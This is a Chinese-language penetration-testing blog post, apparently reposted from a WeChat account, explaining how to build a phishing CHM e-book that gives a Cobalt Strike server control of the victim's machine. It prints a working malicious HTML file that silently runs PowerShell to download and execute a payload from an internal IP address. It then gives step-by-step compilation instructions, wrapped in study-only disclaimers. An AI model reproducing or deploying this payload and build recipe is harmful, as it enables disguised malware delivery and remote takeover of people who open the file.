一、免责声明：
本次文章仅限个人学习使用，如有非法用途均与作者无关，且行且珍惜；由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号望雪阁及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除整改并向您致以歉意。谢谢！
二、生成CS payload：
三、制作CHM的恶意html文件：
1、下载CHM制作工具：要将HTML编译为chm需要借助HTML Help Workshop工具
https://softpedia-secure-download.com/dl/18835165e5cb1c12b57394383d4aeccb/64cfb352/100068169/software/authoring/htmlhelp.exe2、新建恶意html文件：
<html><head><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"><PARAM name="Button" value="Bitmap::shortcut"><PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://172.16.1.5:80/a'))"><PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></head><body><h1>Hello</h1></body></html>
3、新建一个空的hhp后缀的文件
4、打开工具
新建project
选中新建的hhp后缀文件
勾选html文件
添加我们的恶意html文件
下一步——完成
然后打开file——compile
日志中显示生成的CHM文件
双击生成的chm文件——成功上线
原文始发于微信公众号（fly的渗透学习笔记）：CHM电子书上线CS——钓鱼
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论